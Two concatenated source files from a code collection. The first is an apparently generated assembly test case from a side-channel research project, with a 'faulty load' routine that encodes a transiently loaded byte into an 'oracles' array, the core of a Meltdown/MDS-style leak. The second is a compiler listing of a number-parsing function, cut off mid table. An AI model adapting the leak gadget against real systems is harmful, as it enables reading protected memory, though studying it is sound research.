Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2_notsx.log_1159_1130.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x11c7d, %rsi
lea addresses_UC_ht+0x19b65, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
dec %r14
mov $97, %rcx
rep movsl
nop
add %r8, %r8
lea addresses_WT_ht+0x6df5, %rax
nop
nop
nop
nop
cmp $14061, %r12
mov (%rax), %r8
cmp $58951, %r12
lea addresses_normal_ht+0xb3ed, %rax
nop
nop
nop
nop
nop
and $11150, %rsi
movw $0x6162, (%rax)
nop
sub $12367, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rbx
push %rcx
// Store
mov $0x75e7670000000635, %r8
nop
nop
nop
nop
nop
add %r9, %r9
mov $0x5152535455565758, %rcx
movq %rcx, (%r8)
nop
nop
inc %r12
// Load
lea addresses_A+0xd2b5, %r8
nop
cmp %r11, %r11
mov (%r8), %ecx
dec %r11
// Store
lea addresses_UC+0x10905, %r9
nop
nop
cmp $22434, %r12
movl $0x51525354, (%r9)
nop
sub $52568, %r12
// Store
lea addresses_UC+0x6b35, %rcx
sub %r9, %r9
movb $0x51, (%rcx)
nop
nop
nop
and %r9, %r9
// Store
mov $0xe35, %r9
nop
cmp %rbx, %rbx
mov $0x5152535455565758, %r12
movq %r12, %xmm4
movups %xmm4, (%r9)
nop
nop
nop
nop
nop
add $41679, %r8
// Faulty Load
mov $0x75e7670000000635, %r11
sub %r12, %r12
vmovntdqa (%r11), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rcx
lea oracles, %r11
and $0xff, %rcx
shlq $12, %rcx
mov (%r11,%rcx,1), %rcx
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'00': 1159}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 38.933333
| 2,999
| 0.652911
|
6a5a035997131b36521558b0da6f7417c0a0baff
| 192,840
|
asm
|
Assembly
|
Palmtree.Math.Core.Implements/vs_build/x86_Release/pmc_parse.asm
|
rougemeilland/Palmtree.Math.Core.Implements
|
52f4f6c765d16c9b0baf1fd212c61a33daae138c
|
[
"MIT"
] | null | null | null |
Palmtree.Math.Core.Implements/vs_build/x86_Release/pmc_parse.asm
|
rougemeilland/Palmtree.Math.Core.Implements
|
52f4f6c765d16c9b0baf1fd212c61a33daae138c
|
[
"MIT"
] | null | null | null |
Palmtree.Math.Core.Implements/vs_build/x86_Release/pmc_parse.asm
|
rougemeilland/Palmtree.Math.Core.Implements
|
52f4f6c765d16c9b0baf1fd212c61a33daae138c
|
[
"MIT"
] | null | null | null |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
TITLE Z:\Sources\Lunor\Repos\rougemeilland\Palmtree.Math.Core.Implements\Palmtree.Math.Core.Implements\pmc_parse.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
PUBLIC _Initialize_Parse
PUBLIC _PMC_TryParse@16
PUBLIC ??_C@_13DEFPDAGF@?$AA?0@ ; `string'
PUBLIC ??_C@_13JOFGPIOO@?$AA?4@ ; `string'
PUBLIC ??_C@_01EKENIIDA@3@ ; `string'
PUBLIC ??_C@_13KJIIAINM@?$AA?$CL@ ; `string'
PUBLIC ??_C@_13IMODFHAA@?$AA?9@ ; `string'
EXTRN __imp__lstrcpyA@8:PROC
EXTRN __imp__lstrcpyW@8:PROC
EXTRN __imp__lstrlenW@4:PROC
EXTRN _AllocateBlock:PROC
EXTRN _DeallocateBlock:PROC
EXTRN _CheckBlockLight:PROC
EXTRN _AllocateNumber:PROC
EXTRN _DeallocateNumber:PROC
EXTRN _CommitNumber:PROC
EXTRN @__security_check_cookie@4:PROC
EXTRN _number_zero:BYTE
EXTRN _statistics_info:BYTE
EXTRN ___security_cookie:DWORD
_BSS SEGMENT
_default_number_format_option DB 028H DUP (?)
_fp_MultiplyAndAdd DD 01H DUP (?)
_BSS ENDS
; COMDAT ??_C@_13IMODFHAA@?$AA?9@
CONST SEGMENT
??_C@_13IMODFHAA@?$AA?9@ DB '-', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_13KJIIAINM@?$AA?$CL@
CONST SEGMENT
??_C@_13KJIIAINM@?$AA?$CL@ DB '+', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01EKENIIDA@3@
CONST SEGMENT
??_C@_01EKENIIDA@3@ DB '3', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_13JOFGPIOO@?$AA?4@
CONST SEGMENT
??_C@_13JOFGPIOO@?$AA?4@ DB '.', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_13DEFPDAGF@?$AA?0@
CONST SEGMENT
??_C@_13DEFPDAGF@?$AA?0@ DB ',', 00H, 00H, 00H ; `string'
CONST ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _TryParseX
_TEXT SEGMENT
_o_light_check_code$ = -100 ; size = 4
_o$GSCopy$1$ = -96 ; size = 4
_int_part_buf_code$ = -92 ; size = 4
_int_part_buf_words$ = -88 ; size = 4
_state$1 = -84 ; size = 80
__$ArrayPad$ = -4 ; size = 4
_source$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_o$ = 20 ; size = 4
_TryParseX PROC ; COMDAT
; 968 : {
push ebp
mov ebp, esp
sub esp, 100 ; 00000064H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
mov eax, DWORD PTR _o$[ebp]
push ebx
mov ebx, DWORD PTR _format_option$[ebp]
push esi
push edi
mov edi, DWORD PTR _source$[ebp]
; 969 : PMC_STATUS_CODE result;
; 970 : __UNIT_TYPE source_len = lstrlenW(source);
push edi
mov DWORD PTR _o$GSCopy$1$[ebp], eax
call DWORD PTR __imp__lstrlenW@4
; 971 : __UNIT_TYPE int_part_buf_code;
; 972 : __UNIT_TYPE int_part_buf_words;
; 973 : wchar_t* int_part_buf = (wchar_t*)AllocateBlock((source_len + 1) * sizeof(wchar_t) * 8, &int_part_buf_words, &int_part_buf_code);
lea ecx, DWORD PTR _int_part_buf_code$[ebp]
inc eax
push ecx
lea ecx, DWORD PTR _int_part_buf_words$[ebp]
shl eax, 4
push ecx
push eax
call _AllocateBlock
mov esi, eax
add esp, 12 ; 0000000cH
; 974 : if (int_part_buf == NULL)
test esi, esi
jne SHORT $LN2@TryParseX
; 975 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
pop edi
lea eax, DWORD PTR [esi-5]
; 997 : }
pop esi
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN2@TryParseX:
; 289 : InitializeParserState(&state, in_ptr, number_styles, format_option, int_part_buf, NULL);
push 0
push esi
push ebx
mov ebx, DWORD PTR _number_styles$[ebp]
lea eax, DWORD PTR _state$1[ebp]
push ebx
push edi
push eax
call _InitializeParserState
add esp, 24 ; 00000018H
; 290 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_WHITE)
test bl, 1
je SHORT $LN46@TryParseX
; 113 : switch (*state->IN_PTR)
mov ecx, DWORD PTR _state$1[ebp]
movzx eax, WORD PTR [ecx]
cmp eax, 9
jb SHORT $LN46@TryParseX
npad 6
$LL15@TryParseX:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN20@TryParseX
cmp eax, 32 ; 00000020H
jne SHORT $LN46@TryParseX
$LN20@TryParseX:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add ecx, 2
mov DWORD PTR _state$1[ebp], ecx
movzx eax, WORD PTR [ecx]
cmp eax, 9
jae SHORT $LL15@TryParseX
$LN46@TryParseX:
; 292 : ParseAsIntegerPartNumberSequence(&state);
lea eax, DWORD PTR _state$1[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
; 293 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
mov eax, DWORD PTR _state$1[ebp]
add esp, 4
test bl, 2
je SHORT $LN38@TryParseX
; 113 : switch (*state->IN_PTR)
movzx ecx, WORD PTR [eax]
cmp ecx, 9
jb SHORT $LN38@TryParseX
$LL24@TryParseX:
cmp ecx, 13 ; 0000000dH
jbe SHORT $LN29@TryParseX
cmp ecx, 32 ; 00000020H
jne SHORT $LN38@TryParseX
$LN29@TryParseX:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add eax, 2
mov DWORD PTR _state$1[ebp], eax
movzx ecx, WORD PTR [eax]
cmp ecx, 9
jae SHORT $LL24@TryParseX
$LN38@TryParseX:
; 295 : if (*state.IN_PTR != L'\0')
cmp WORD PTR [eax], 0
je SHORT $LN12@TryParseX
; 296 : return (0);
xor edi, edi
jmp SHORT $LN9@TryParseX
$LN12@TryParseX:
; 103 : *state->INT_PART_PTR = L'\0';
mov eax, DWORD PTR _state$1[ebp+72]
xor ecx, ecx
mov WORD PTR [eax], cx
; 104 : if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT)
test BYTE PTR _state$1[ebp+4], 32 ; 00000020H
je SHORT $LN33@TryParseX
; 105 : *state->FRAC_PART_PTR = L'\0';
mov eax, DWORD PTR _state$1[ebp+76]
mov WORD PTR [eax], cx
$LN33@TryParseX:
; 298 : return (1);
mov edi, 1
$LN9@TryParseX:
; 976 : int result_parsing = ParseAsHexNumberString(source, number_styles, format_option, int_part_buf);
; 977 : if ((result = CheckBlockLight((__UNIT_TYPE*)int_part_buf, int_part_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _int_part_buf_code$[ebp]
push esi
call _CheckBlockLight
add esp, 8
test eax, eax
jne $LN1@TryParseX
; 978 : return (result);
; 979 : if (!result_parsing || int_part_buf[0] == L'\0')
test edi, edi
je $LN5@TryParseX
cmp WORD PTR [esi], ax
je $LN5@TryParseX
; 983 : }
; 984 : __UNIT_TYPE o_bit_count = lstrlenW(int_part_buf) * 4;
push esi
call DWORD PTR __imp__lstrlenW@4
; 985 : __UNIT_TYPE o_light_check_code;
; 986 : if ((result = AllocateNumber(o, o_bit_count, &o_light_check_code)) != PMC_STATUS_OK)
mov ebx, DWORD PTR _o$GSCopy$1$[ebp]
lea ecx, DWORD PTR _o_light_check_code$[ebp]
push ecx
shl eax, 2
push eax
push ebx
call _AllocateNumber
mov edi, eax
add esp, 12 ; 0000000cH
test edi, edi
je SHORT $LN6@TryParseX
; 987 : {
; 988 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push esi
call _DeallocateBlock
; 997 : }
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN6@TryParseX:
; 989 : return (result);
; 990 : }
; 991 : BuildBinaryFromHexString(int_part_buf, (*o)->BLOCK);
mov eax, DWORD PTR [ebx]
push DWORD PTR [eax+32]
push esi
call _BuildBinaryFromHexString
; 992 : if ((result = CheckBlockLight((*o)->BLOCK, o_light_check_code)) != PMC_STATUS_OK)
mov eax, DWORD PTR [ebx]
push DWORD PTR _o_light_check_code$[ebp]
push DWORD PTR [eax+32]
call _CheckBlockLight
add esp, 16 ; 00000010H
test eax, eax
jne SHORT $LN1@TryParseX
; 993 : return (result);
; 994 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push esi
call _DeallocateBlock
; 995 : CommitNumber(*o);
push DWORD PTR [ebx]
call _CommitNumber
add esp, 12 ; 0000000cH
; 996 : return (PMC_STATUS_OK);
xor eax, eax
pop edi
; 997 : }
pop esi
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN5@TryParseX:
; 980 : {
; 981 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push esi
call _DeallocateBlock
; 982 : return (PMC_STATUS_PARSING_ERROR);
mov eax, 1
; 997 : }
add esp, 8
$LN1@TryParseX:
mov ecx, DWORD PTR __$ArrayPad$[ebp]
pop edi
pop esi
xor ecx, ebp
pop ebx
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_TryParseX ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _BuildBinaryFromHexString
_TEXT SEGMENT
_in_ptr$1$ = -20 ; size = 4
tv478 = -16 ; size = 4
tv479 = -12 ; size = 4
tv477 = -8 ; size = 4
_r$1$ = -8 ; size = 4
tv487 = -4 ; size = 4
_source_count$1$ = -4 ; size = 4
_source$ = 8 ; size = 4
_out_ptr$1$ = 12 ; size = 4
_out_buf$ = 12 ; size = 4
_BuildBinaryFromHexString PROC ; COMDAT
; 947 : {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
push ebx
; 949 : __UNIT_TYPE source_count = lstrlenW(source);
mov ebx, DWORD PTR _source$[ebp]
push esi
push edi
push ebx
call DWORD PTR __imp__lstrlenW@4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 194 : return ((u + v - 1) / v);
mov ecx, DWORD PTR _out_buf$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 949 : __UNIT_TYPE source_count = lstrlenW(source);
mov esi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 194 : return ((u + v - 1) / v);
sub ecx, 4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 949 : __UNIT_TYPE source_count = lstrlenW(source);
mov DWORD PTR _source_count$1$[ebp], esi
; 952 : int r = source_count % word_digit_count;
mov edi, esi
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 194 : return ((u + v - 1) / v);
lea eax, DWORD PTR [esi+7]
shr eax, 3
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 952 : int r = source_count % word_digit_count;
and edi, 7
mov DWORD PTR _r$1$[ebp], edi
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 194 : return ((u + v - 1) / v);
lea eax, DWORD PTR [ecx+eax*4]
mov DWORD PTR _out_ptr$1$[ebp], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 953 : if (r > 0)
jle SHORT $LN35@BuildBinar
; 901 : __UNIT_TYPE x = Parse1DigitFromHexChar(*in_ptr);
movzx eax, WORD PTR [ebx]
push eax
call _Parse1DigitFromHexChar
add esp, 4
; 902 : ++in_ptr;
lea edx, DWORD PTR [ebx+2]
mov ecx, eax
; 903 : --count;
add edi, -1
; 904 : while (count > 0)
je SHORT $LN10@BuildBinar
npad 6
$LL9@BuildBinar:
; 905 : {
; 906 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr);
movzx esi, WORD PTR [edx]
; 867 : switch (c)
lea eax, DWORD PTR [esi-48]
cmp eax, 54 ; 00000036H
ja SHORT $LN18@BuildBinar
movzx eax, BYTE PTR $LN42@BuildBinar[eax]
jmp DWORD PTR $LN45@BuildBinar[eax*4]
$LN15@BuildBinar:
; 868 : {
; 869 : case L'0':
; 870 : case L'1':
; 871 : case L'2':
; 872 : case L'3':
; 873 : case L'4':
; 874 : case L'5':
; 875 : case L'6':
; 876 : case L'7':
; 877 : case L'8':
; 878 : case L'9':
; 879 : return (c - L'0');
lea eax, DWORD PTR [esi-48]
jmp SHORT $LN12@BuildBinar
$LN16@BuildBinar:
; 880 : case L'a':
; 881 : case L'b':
; 882 : case L'c':
; 883 : case L'd':
; 884 : case L'e':
; 885 : case L'f':
; 886 : return (c - L'a' + 10);
lea eax, DWORD PTR [esi-87]
jmp SHORT $LN12@BuildBinar
$LN17@BuildBinar:
; 887 : case L'A':
; 888 : case L'B':
; 889 : case L'C':
; 890 : case L'D':
; 891 : case L'E':
; 892 : case L'F':
; 893 : return (c - L'A' + 10);
lea eax, DWORD PTR [esi-55]
jmp SHORT $LN12@BuildBinar
$LN18@BuildBinar:
; 894 : default:
; 895 : return ((_UINT32_T)-1);
or eax, -1
$LN12@BuildBinar:
; 906 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr);
shl ecx, 4
; 907 : ++in_ptr;
add edx, 2
add ecx, eax
; 908 : --count;
sub edi, 1
jne SHORT $LL9@BuildBinar
mov esi, DWORD PTR _source_count$1$[ebp]
$LN10@BuildBinar:
; 954 : {
; 955 : *out_ptr-- = BuildLeading1WordFromHexString(in_ptr, r);
mov eax, DWORD PTR _out_ptr$1$[ebp]
mov DWORD PTR [eax], ecx
sub eax, 4
mov DWORD PTR _out_ptr$1$[ebp], eax
; 956 : in_ptr += r;
mov eax, DWORD PTR _r$1$[ebp]
; 957 : source_count -= r;
sub esi, eax
lea ebx, DWORD PTR [ebx+eax*2]
mov DWORD PTR _source$[ebp], ebx
$LN35@BuildBinar:
; 958 : }
; 959 : while (source_count > 0)
test esi, esi
je $LN3@BuildBinar
lea ecx, DWORD PTR [esi-1]
shr ecx, 3
inc ecx
mov DWORD PTR tv487[ebp], ecx
$LL2@BuildBinar:
; 915 : __UNIT_TYPE x = Parse1DigitFromHexChar(*in_ptr++);
movzx esi, WORD PTR [ebx]
; 867 : switch (c)
lea eax, DWORD PTR [esi-48]
cmp eax, 54 ; 00000036H
ja SHORT $LN32@BuildBinar
movzx eax, BYTE PTR $LN43@BuildBinar[eax]
jmp DWORD PTR $LN46@BuildBinar[eax*4]
$LN29@BuildBinar:
; 868 : {
; 869 : case L'0':
; 870 : case L'1':
; 871 : case L'2':
; 872 : case L'3':
; 873 : case L'4':
; 874 : case L'5':
; 875 : case L'6':
; 876 : case L'7':
; 877 : case L'8':
; 878 : case L'9':
; 879 : return (c - L'0');
shl esi, 4
sub esi, 768 ; 00000300H
jmp SHORT $LN26@BuildBinar
$LN30@BuildBinar:
; 880 : case L'a':
; 881 : case L'b':
; 882 : case L'c':
; 883 : case L'd':
; 884 : case L'e':
; 885 : case L'f':
; 886 : return (c - L'a' + 10);
shl esi, 4
sub esi, 1392 ; 00000570H
jmp SHORT $LN26@BuildBinar
$LN31@BuildBinar:
; 887 : case L'A':
; 888 : case L'B':
; 889 : case L'C':
; 890 : case L'D':
; 891 : case L'E':
; 892 : case L'F':
; 893 : return (c - L'A' + 10);
shl esi, 4
sub esi, 880 ; 00000370H
jmp SHORT $LN26@BuildBinar
$LN32@BuildBinar:
; 894 : default:
; 895 : return ((_UINT32_T)-1);
mov esi, -16 ; fffffff0H
$LN26@BuildBinar:
; 932 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
movzx ecx, WORD PTR [ebx+8]
lea edx, DWORD PTR [ebx+2]
movzx eax, WORD PTR [edx]
movzx edi, WORD PTR [edx+2]
movzx ebx, WORD PTR [edx+4]
mov DWORD PTR tv479[ebp], ecx
; 933 : }
; 934 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 935 : {
; 936 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
movzx ecx, WORD PTR [edx+8]
add edx, 10 ; 0000000aH
push eax
mov DWORD PTR tv478[ebp], ecx
mov DWORD PTR _in_ptr$1$[ebp], edx
call _Parse1DigitFromHexChar
; 937 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 938 : }
; 939 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 940 : {
; 941 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
add eax, esi
mov esi, eax
mov DWORD PTR tv477[ebp], eax
push edi
shl esi, 4
call _Parse1DigitFromHexChar
add esi, eax
push ebx
shl esi, 4
call _Parse1DigitFromHexChar
push DWORD PTR tv479[ebp]
add esi, eax
shl esi, 4
call _Parse1DigitFromHexChar
push DWORD PTR tv478[ebp]
add esi, eax
shl esi, 4
call _Parse1DigitFromHexChar
mov edi, DWORD PTR _in_ptr$1$[ebp]
add esi, eax
shl esi, 4
movzx eax, WORD PTR [edi]
push eax
call _Parse1DigitFromHexChar
add esi, eax
movzx eax, WORD PTR [edi+2]
push eax
shl esi, 4
call _Parse1DigitFromHexChar
; 960 : {
; 961 : *out_ptr-- = Build1WordFromHexString(in_ptr);
mov edx, DWORD PTR _out_ptr$1$[ebp]
; 941 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
add esi, eax
; 962 : in_ptr += word_digit_count;
mov ebx, DWORD PTR _source$[ebp]
; 941 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
add esp, 28 ; 0000001cH
; 962 : in_ptr += word_digit_count;
add ebx, 16 ; 00000010H
mov DWORD PTR _source$[ebp], ebx
mov DWORD PTR [edx], esi
sub edx, 4
sub DWORD PTR tv487[ebp], 1
mov DWORD PTR _out_ptr$1$[ebp], edx
jne $LL2@BuildBinar
$LN3@BuildBinar:
pop edi
; 963 : source_count -= word_digit_count;
; 964 : }
; 965 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
npad 3
$LN45@BuildBinar:
DD $LN15@BuildBinar
DD $LN17@BuildBinar
DD $LN16@BuildBinar
DD $LN18@BuildBinar
$LN42@BuildBinar:
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
npad 1
$LN46@BuildBinar:
DD $LN29@BuildBinar
DD $LN31@BuildBinar
DD $LN30@BuildBinar
